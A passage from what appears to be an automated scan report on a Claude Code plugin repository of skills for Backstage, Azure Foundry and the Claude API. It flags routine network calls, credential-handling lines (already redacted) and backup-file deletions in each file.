    try:         with urllib.request.urlopen(request, timeout=timeout) as response:             return {"url": url, "status": response.status, "ok": 200 <= response.status < 400}
  • Network accessline 27
    with urllib.request.urlopen(request, timeout=timeout) as response:

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-full-frontend-system-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-full-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 122
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 550
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 551
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 552
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-new-frontend-system-support/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/backstage-plugin-new-frontend-system-support/references/upstream/SKILL.md

  • Network accessline 56
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 425
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 426
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 427
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/cloud-architecture-best-practices-docs/scripts/validate_arch.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/cloud-design-patterns/SKILL.md

  • Network accessline 119
    - [Cloud Design Patterns - Azure Architecture Center](https://learn.microsoft.com/azure/architecture/patterns/)
  • Network accessline 120
    - [Azure Well-Architected Framework](https://learn.microsoft.com/azure/architecture/framework/)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/create-llms/SKILL.md

  • Network accessline 2
    name: "create-llms" description: >-   Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document r
  • Network accessline 3
    description: >-   Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure 
  • Network accessline 4
    Create a new repository-root llms.txt file from repository structure and documentation according to the llms.txt specification. Use when users ask to create llms.txt, generate LLM navigation, document repository structure for LLMs, or add a
  • Network accessline 21
    - No root `/llms.txt` exists, or the user explicitly wants it recreated from scratch. - Repository structure is available for analysis. - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `
  • Network accessline 23
    - Use the official llms.txt specification at `https://llmstxt.org/` and preserve baseline URL spelling `https://llmstxt.org/.` for migration checks.
  • Network accessline 144
    - [llms.txt specification](https://llmstxt.org/)
  • Network accessline 145
    - Baseline URL spelling preserved for migration checks: https://llmstxt.org/.

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-blueprint/SKILL.md

  • Network accessline 62
    - [Azure AI Foundry Agent Service](https://learn.microsoft.com/azure/ai-foundry/agents/)
  • Network accessline 63
    - [Azure AI Foundry model catalog](https://learn.microsoft.com/azure/ai-foundry/how-to/model-catalog-overview)
  • Network accessline 64
    - [Foundry tools](https://learn.microsoft.com/azure/ai-foundry/agents/how-to/tools/overview)
  • Network accessline 65
    - [Evaluate generative AI with Azure AI Foundry](https://learn.microsoft.com/azure/ai-foundry/concepts/evaluation-approach-gen-ai)

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-framework-py-release/SKILL.md

  • Network accessline 165
    ### Added - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))
  • Network accessline 166
    - **agent-framework-<pkg>**: <subject> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))
  • Network accessline 183
    **Entry format:** - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))`
  • Network accessline 184
    - `- **agent-framework-<pkg>**: <subject, grammar-normalized> ([#NNNN](https://github.com/microsoft/agent-framework/pull/NNNN))`
  • Network accessline 242
    Two edits when a released-tier bump is in play: 1. Advance `[Unreleased]` compare base from `python-${OLD_RELEASED}...HEAD` to `python-${NEW_RELEASED}...HEAD`. 2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${
  • Network accessline 244
    2. INSERT a new `[${NEW_RELEASED}]` line ABOVE the previous version's link: `[${NEW_RELEASED}]: https://github.com/microsoft/agent-framework/compare/python-${OLD_RELEASED}...python-${NEW_RELEASED}`
  • Dangerous shell operationline 257
    rm python/packages/openai/pyproject.toml.bak
  • Dangerous shell operationline 266
    rm python/pyproject.toml.bak
  • Dangerous shell operationline 274
    rm python/packages/ag-ui/pyproject.toml.bak
  • Dangerous shell operationline 288
    rm "${file}.bak"
  • Dangerous shell operationline 308
    rm "${file}.bak"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-agent-sync/SKILL.md

  • Network accessline 55
    2. Locate `infra/scripts/sync-foundry-agents.ps1` or `foundry-agent-sync.sh`; scaffold the PowerShell script when missing and adapt `$AgentNamePrefix`, `$ModelName`, and `$ManifestPath`. 3. Collect Foundry project endpoint, subscription ID,
  • Network accessline 56
    3. Collect Foundry project endpoint, subscription ID, model deployment name, and agent name prefix. Default model can be `gpt-5-4`; default prefix can be repo name in kebab-case. 4. Authenticate and sync with a token for `https://ai.azure.c
  • Network accessline 57
    4. Authenticate and sync with a token for `https://ai.azure.com/`.
  • Network accessline 74
    | Script path | Canonical path is `infra/scripts/sync-foundry-agents.ps1`, adapted to repository layout. | | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-p
  • Network accessline 75
    | Parameters | `$SubscriptionId`, `$ProjectEndpoint`, `$ManifestPath`, `$ModelName`, `$AgentNamePrefix`, `$ApiVersion = '2025-11-15-preview'`. | | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o 
  • Network accessline 76
    | Token | `az account get-access-token --resource https://ai.azure.com/ --query accessToken -o tsv`. |
  • Network accessline 84
    For bash in `Microsoft.Resources/deploymentScripts`, authenticate with `az login --identity --username "$CLIENT_ID"`, acquire the token with `az account get-access-token --resource https://ai.azure.com/`, iterate definitions from `FOUNDRY_A
  • Network accessline 114
    | Symptom | Cause | Resolution | | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 115
    | --- | --- | --- | | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. | | `403 Forbidden` | Missing Azure AI User role. | Assign the role on the Foundry project 
  • Network accessline 116
    | `401 Unauthorized` | Token expired or wrong audience. | Re-run `az account get-access-token --resource https://ai.azure.com/`. |
  • Network accessline 148
    ### Commands - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 149
    - `az account set --subscription <subscription>` - `az account get-access-token --resource https://ai.azure.com/` - `<sync script command>`
  • Network accessline 150
    - `az account get-access-token --resource https://ai.azure.com/`
  • Network accessline 159
    - [ ] Manifest exists or was scaffolded with `useCaseId`, `description`, and `baseInstruction`. - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the
  • Network accessline 160
    - [ ] Endpoint, subscription ID, model deployment name, and agent name prefix are known. - [ ] Token audience is `https://ai.azure.com/` and the token is not printed. - [ ] Agent names are built from `{prefix}-{useCaseId}`.
  • Network accessline 161
    - [ ] Token audience is `https://ai.azure.com/` and the token is not printed.

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-ai-operations/SKILL.md

  • Network accessline 123
    # Test chat completion curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
  • Network accessline 124
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Network accessline 129
    # Test with managed identity (from AKS pod) curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \
  • Network accessline 130
    curl -X POST "https://<endpoint>.openai.azure.com/openai/deployments/<deployment>/chat/completions?api-version=2024-02-15-preview" \

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/LICENSE.txt

  • Network accessline 2
    Apache License                            Version 2.0, January 2004                         http://www.apache.org/licenses/
  • Network accessline 4
    http://www.apache.org/licenses/
  • Network accessline 196
    http://www.apache.org/licenses/LICENSE-2.0

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/csharp/claude-api/README.md

  • Network accessline 48
    **Write a plain `Program.cs` body** — `using` statements followed by top-level statements, as below. Do **not** add a `#!/usr/bin/env dotnet` shebang or `#:package Anthropic@*` directive: those are .NET file-based-app syntax and fail with `
  • Access to secretsline 108
    [Credential-related source omitted]
  • Access to secretsline 113
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/curl/examples.md

  • Network accessline 1
    # Claude API — cURL / Raw HTTP
  • Access to secretsline 8
    [Credential-related source omitted]
  • Network accessline 16
    [Credential-related source omitted]
  • Access to secretsline 16
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 36
    # Capture the response, then extract fields response=$(curl -s https://api.anthropic.com/v1/messages \
  • Network accessline 37
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 39
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 65
    [Credential-related source omitted]
  • Network accessline 102
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]
  • Access to secretsline 104
    [Credential-related source omitted]
  • Network accessline 127
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]
  • Access to secretsline 129
    [Credential-related source omitted]
  • Network accessline 165
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 167
    [Credential-related source omitted]
  • Network accessline 190
    # Fable 5 / Claude Opus 5 / Opus 4.8 / 4.7 / 4.6: adaptive thinking (recommended) curl https://api.anthropic.com/v1/messages \
  • Network accessline 191
    [Credential-related source omitted]
  • Access to secretsline 191
    [Credential-related source omitted]
  • Access to secretsline 193
    [Credential-related source omitted]
  • Network accessline 216
    [Credential-related source omitted]
  • Access to secretsline 216
    [Credential-related source omitted]
  • Access to secretsline 218
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/curl/managed-agents.md

  • Network accessline 1
    # Managed Agents — cURL / Raw HTTP
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 24
    curl -X POST https://api.anthropic.com/v1/environments \
  • Network accessline 38
    curl -X POST https://api.anthropic.com/v1/environments \
  • Network accessline 63
    # 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 64
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 73
    # 2. Start a session curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 74
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 79
    }' # → { "id": "sesn_abc123", ... } # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123  (swap 'default' for your workspace ID if the API key is not in the Default workspace)
  • Network accessline 81
    # Trace: https://platform.claude.com/workspaces/default/sessions/sesn_abc123  (swap 'default' for your workspace ID if the API key is not in the Default workspace)
  • Network accessline 87
    # 1. Create the agent curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 88
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 111
    # 2. Start a session with the repo mounted curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 112
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 119
    {         "type": "github_repository",         "url": "https://github.com/owner/repo",
  • Network accessline 120
    "type": "github_repository",         "url": "https://github.com/owner/repo",         "mount_path": "/workspace/repo",
  • Network accessline 121
    "url": "https://github.com/owner/repo",
  • Network accessline 133
    # Create a session with a hard $25.00 spend cap (list-priced; USD only; create-only). # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 134
    # amount is in minor units (cents) as an integer string: "2500" = $25.00 curl -X POST https://api.anthropic.com/v1/sessions \   "${HEADERS[@]}" \
  • Network accessline 135
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 146
    # Change the cap — higher or lower, but it must exceed the consumed list cost. # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 147
    # An accepted update resumes work paused at budget_reached curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \   "${HEADERS[@]}" \
  • Network accessline 148
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 152
    # Remove the cap entirely — one-way; a removed budget can never be re-added curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 153
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 165
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 182
    curl -N https://api.anthropic.com/v1/sessions/$SESSION_ID/events/stream \
  • Network accessline 204
    # Get all events curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 205
    curl https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 208
    # Paginated — get next page of events curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \
  • Network accessline 209
    curl "https://api.anthropic.com/v1/sessions/$SESSION_ID/events?page=page_abc123" \
  • Network accessline 220
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 238
    curl -X POST https://api.anthropic.com/v1/sessions/$SESSION_ID/events \
  • Network accessline 254
    curl https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 263
    curl https://api.anthropic.com/v1/sessions \
  • Network accessline 272
    curl -X DELETE https://api.anthropic.com/v1/sessions/$SESSION_ID \
  • Network accessline 281
    [Credential-related source omitted]
  • Access to secretsline 281
    [Credential-related source omitted]
  • Access to secretsline 282
    [Credential-related source omitted]
  • Network accessline 296
    # List files associated with a session curl "https://api.anthropic.com/v1/files?scope_id=$SESSION_ID" \
  • Network accessline 297
    [Credential-related source omitted]
  • Access to secretsline 297
    [Credential-related source omitted]
  • Access to secretsline 298
    [Credential-related source omitted]
  • Network accessline 302
    # Download a specific file curl "https://api.anthropic.com/v1/files/$FILE_ID/content" \
  • Network accessline 303
    [Credential-related source omitted]
  • Access to secretsline 303
    [Credential-related source omitted]
  • Access to secretsline 304
    [Credential-related source omitted]
  • Network accessline 315
    curl https://api.anthropic.com/v1/agents \
  • Network accessline 324
    # 1. Agent declares MCP server (no auth here — auth goes in a vault) curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 325
    curl -X POST https://api.anthropic.com/v1/agents \
  • Network accessline 329
    "model": "claude-opus-5",     "mcp_servers": [       { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }
  • Network accessline 330
    "mcp_servers": [       { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }     ],
  • Network accessline 331
    { "type": "url", "name": "my-tools", "url": "https://my-mcp-server.example.com/sse" }
  • Network accessline 339
    # 2. Session attaches vault containing credentials for that MCP server URL curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 340
    curl -X POST https://api.anthropic.com/v1/sessions \
  • Network accessline 356
    curl -X POST https://api.anthropic.com/v1/agents \

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/go/claude-api/README.md

  • Access to secretsline 19
    [Credential-related source omitted]
  • Network accessline 151
    Other sources: `URLPDFSourceParam{URL: "https://..."}`, `PlainTextSourceParam{Data: "..."}`.

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/go/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Go. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Go SDK repo **or the relevant docs page** from `shared
  • Access to secretsline 23
    [Credential-related source omitted]
  • Network accessline 96
    } fmt.Printf("Session ID: %s, status: %s\n", session.ID, session.Status) fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Defa
  • Network accessline 98
    fmt.Printf("Trace: https://platform.claude.com/workspaces/default/sessions/%s\n", session.ID) // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 390
    Type: anthropic.BetaManagedAgentsURLMCPServerParamsTypeURL,         Name: "github",         URL:  "https://api.githubcopilot.com/mcp/",
  • Network accessline 391
    Name: "github",         URL:  "https://api.githubcopilot.com/mcp/",     }},
  • Network accessline 392
    URL:  "https://api.githubcopilot.com/mcp/",
  • Network accessline 449
    OfMCPOAuth: &anthropic.BetaManagedAgentsMCPOAuthCreateParams{             Type:         anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth,             MCPServerURL: "https://mcp.slack.com/mcp",
  • Network accessline 450
    Type:         anthropic.BetaManagedAgentsMCPOAuthCreateParamsTypeMCPOAuth,             MCPServerURL: "https://mcp.slack.com/mcp",             AccessToken:  "xoxp-...",
  • Network accessline 451
    MCPServerURL: "https://mcp.slack.com/mcp",
  • Network accessline 453
    ExpiresAt:    anthropic.Time(time.Date(2026, time.April, 15, 0, 0, 0, 0, time.UTC)),             Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{                 TokenEndpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 454
    Refresh: anthropic.BetaManagedAgentsMCPOAuthRefreshParams{                 TokenEndpoint: "https://slack.com/api/oauth.v2.access",                 ClientID:      "1234567890.0987654321",
  • Network accessline 455
    TokenEndpoint: "https://slack.com/api/oauth.v2.access",
  • Network accessline 511
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{                 Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,                 URL:                "https://
  • Network accessline 512
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,                 URL:                "https://github.com/org/repo",                 MountPath:          anthropic.String("/workspace/repo"),
  • Network accessline 513
    URL:                "https://github.com/org/repo",
  • Network accessline 530
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{             Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.c
  • Network accessline 531
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.com/org/frontend",             MountPath:          anthropic.String("/workspace/frontend"),
  • Network accessline 532
    URL:                "https://github.com/org/frontend",
  • Network accessline 538
    OfGitHubRepository: &anthropic.BetaManagedAgentsGitHubRepositoryResourceParams{             Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.c
  • Network accessline 539
    Type:               anthropic.BetaManagedAgentsGitHubRepositoryResourceParamsTypeGitHubRepository,             URL:                "https://github.com/org/backend",             MountPath:          anthropic.String("/workspace/backend"),
  • Network accessline 540
    URL:                "https://github.com/org/backend",

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/java/claude-api/README.md

  • Access to secretsline 66
    [Credential-related source omitted]
  • Network accessline 191
    DocumentBlockParam doc = DocumentBlockParam.builder()     .source(Base64PdfSource.builder().data(base64String).build())     // or .source(UrlPdfSource.builder().url("https://...").build())
  • Network accessline 192
    .source(Base64PdfSource.builder().data(base64String).build())     // or .source(UrlPdfSource.builder().url("https://...").build())     .title("My Document")        // optional
  • Network accessline 193
    // or .source(UrlPdfSource.builder().url("https://...").build())

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/java/claude-api/tool-use.md

  • Network accessline 198
    .addMcpServer(BetaRequestMcpServerUrlDefinition.builder()         .name("my-server")         .url("https://example.com/mcp")
  • Network accessline 199
    .name("my-server")         .url("https://example.com/mcp")         .build())
  • Network accessline 200
    .url("https://example.com/mcp")

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/java/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for Java. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the Java SDK repo **or the relevant docs page** from `sh
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 76
    .build()); System.out.println("Session ID: " + session.id()); System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default
  • Network accessline 78
    System.out.println("Trace: https://platform.claude.com/workspaces/default/sessions/" + session.id()); // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 301
    .type(BetaManagedAgentsUrlMcpServerParams.Type.URL)         .name("github")         .url("https://api.githubcopilot.com/mcp/")
  • Network accessline 302
    .name("github")         .url("https://api.githubcopilot.com/mcp/")         .build())
  • Network accessline 303
    .url("https://api.githubcopilot.com/mcp/")
  • Network accessline 356
    .auth(BetaManagedAgentsMcpOAuthCreateParams.builder()             .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH)             .mcpServerUrl("https://mcp.slack.com/mcp")
  • Network accessline 357
    .type(BetaManagedAgentsMcpOAuthCreateParams.Type.MCP_OAUTH)             .mcpServerUrl("https://mcp.slack.com/mcp")             .accessToken("xoxp-...")
  • Network accessline 358
    .mcpServerUrl("https://mcp.slack.com/mcp")
  • Network accessline 360
    .expiresAt(OffsetDateTime.parse("2026-04-15T00:00:00Z"))             .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder()                 .tokenEndpoint("https://slack.com/api/oauth.v2.access")
  • Network accessline 361
    .refresh(BetaManagedAgentsMcpOAuthRefreshParams.builder()                 .tokenEndpoint("https://slack.com/api/oauth.v2.access")                 .clientId("1234567890.0987654321")
  • Network accessline 362
    .tokenEndpoint("https://slack.com/api/oauth.v2.access")
  • Network accessline 402
    .addResource(BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/repo")
  • Network accessline 403
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/repo")         .mountPath("/workspace/repo")
  • Network accessline 404
    .url("https://github.com/org/repo")
  • Network accessline 417
    BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/frontend")
  • Network accessline 418
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/frontend")         .mountPath("/workspace/frontend")
  • Network accessline 419
    .url("https://github.com/org/frontend")
  • Network accessline 423
    BetaManagedAgentsGitHubRepositoryResourceParams.builder()         .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/backend")
  • Network accessline 424
    .type(BetaManagedAgentsGitHubRepositoryResourceParams.Type.GITHUB_REPOSITORY)         .url("https://github.com/org/backend")         .mountPath("/workspace/backend")
  • Network accessline 425
    .url("https://github.com/org/backend")

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/php/claude-api/README.md

  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/php/claude-api/tool-use.md

  • Network accessline 200
    BetaRequestMCPServerURLDefinition::with(             name: 'my-server',             url: 'https://example.com/mcp',
  • Network accessline 201
    name: 'my-server',             url: 'https://example.com/mcp',         ),
  • Network accessline 202
    url: 'https://example.com/mcp',

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/php/managed-agents/README.md

  • Network accessline 3
    > **Bindings not shown here:** This README covers the most common managed-agents flows for PHP. If you need a class, method, namespace, field, or behavior that isn't shown, web_fetch the PHP SDK repo **or the relevant docs page** from `shar
  • Access to secretsline 18
    [Credential-related source omitted]
  • Network accessline 65
    ); echo "Session ID: {$session->id}\n"; echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 67
    echo "Trace: https://platform.claude.com/workspaces/default/sessions/{$session->id}\n"; // swap 'default' for your workspace ID if the API key is not in the Default workspace
  • Network accessline 207
    > ℹ<U+FE0F> **PHP file upload:** The PHP SDK's beta managed-agents file upload binding is not shown in the apps source examples; the canonical PHP example uses raw cURL against `POST /v1/files`. If your codebase prefers the SDK, web_fetch the `ant
  • Network accessline 212
    // Raw cURL upload (canonical example from the apps source)
  • Network accessline 213
    $csvPath = 'data.csv'; $ch = curl_init('https://api.anthropic.com/v1/files'); curl_setopt_array($ch, [
  • Network accessline 214
    $ch = curl_init('https://api.anthropic.com/v1/files');
  • Access to secretsline 219
    [Credential-related source omitted]
  • Network accessline 313
    type: 'url',             name: 'github',             url: 'https://api.githubcopilot.com/mcp/',
  • Network accessline 314
    name: 'github',             url: 'https://api.githubcopilot.com/mcp/',         ),
  • Network accessline 315
    url: 'https://api.githubcopilot.com/mcp/',
  • Network accessline 357
    auth: [         'type' => 'mcp_oauth',         'mcp_server_url' => 'https://mcp.slack.com/mcp',
  • Network accessline 358
    [Credential-related source omitted]
  • Network accessline 359
    'mcp_server_url' => 'https://mcp.slack.com/mcp',
  • Access to secretsline 360
    [Credential-related source omitted]
  • Network accessline 361
    'expires_at' => '2026-04-15T00:00:00Z',         'refresh' => [             'token_endpoint' => 'https://slack.com/api/oauth.v2.access',
  • Network accessline 362
    'refresh' => [             'token_endpoint' => 'https://slack.com/api/oauth.v2.access',             'client_id' => '1234567890.0987654321',
  • Network accessline 363
    'token_endpoint' => 'https://slack.com/api/oauth.v2.access',
  • Access to secretsline 369
    [Credential-related source omitted]
  • Access to secretsline 381
    [Credential-related source omitted]
  • Network accessline 403
    [             'type' => 'github_repository',             'url' => 'https://github.com/org/repo',
  • Network accessline 404
    'type' => 'github_repository',             'url' => 'https://github.com/org/repo',             'mount_path' => '/workspace/repo',
  • Network accessline 405
    'url' => 'https://github.com/org/repo',
  • Network accessline 417
    [         'type' => 'github_repository',         'url' => 'https://github.com/org/frontend',
  • Network accessline 418
    'type' => 'github_repository',         'url' => 'https://github.com/org/frontend',         'mount_path' => '/workspace/frontend',
  • Network accessline 419
    'url' => 'https://github.com/org/frontend',
  • Network accessline 423
    [         'type' => 'github_repository',         'url' => 'https://github.com/org/backend',
  • Network accessline 424
    'type' => 'github_repository',         'url' => 'https://github.com/org/backend',         'mount_path' => '/workspace/backend',
  • Network accessline 425
    'url' => 'https://github.com/org/backend',

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/python/claude-api/README.md

  • Access to secretsline 15
    [Credential-related source omitted]
  • Access to secretsline 20
    [Credential-related source omitted]
  • Network accessline 53
    `anthropic` 1.x is built on [`httpx2`](https://pypi.org/project/httpx2/), not `httpx`. `anthropic.Timeout` is `httpx2.Timeout`; if you import the HTTP library yourself, write `import httpx2 as httpx` — an object from the `httpx` package (`h
  • Network accessline 77
    client = Anthropic(     base_url="http://my.test.server.example.com:8083",  # or ANTHROPIC_BASE_URL env var
  • Network accessline 78
    base_url="http://my.test.server.example.com:8083",  # or ANTHROPIC_BASE_URL env var
  • Network accessline 79
    http_client=DefaultHttpxClient(proxy="http://my.test.proxy.example.com"),
  • Network accessline 178
    "source": {                     "type": "url",                     "url": "https://example.com/image.png"
  • Network accessline 179
    "type": "url",                     "url": "https://example.com/image.png"                 }
  • Network accessline 180
    "url": "https://example.com/image.png"

harness/claude-code/plugins/open-horizons-platform/copilot-components/skills/foundry-claude-api/python/claude-api/sdk-upgrade.md

  • Network accessline 18
    **Target version.** Before writing any pin, confirm a 1.x release is actually published: `pip index versions anthropic` (or `curl -s https://pypi.org/pypi/anthropic/json` and read `info.version`). Use the newest 1.x you find. If no 1.x rele
  • Network accessline 60
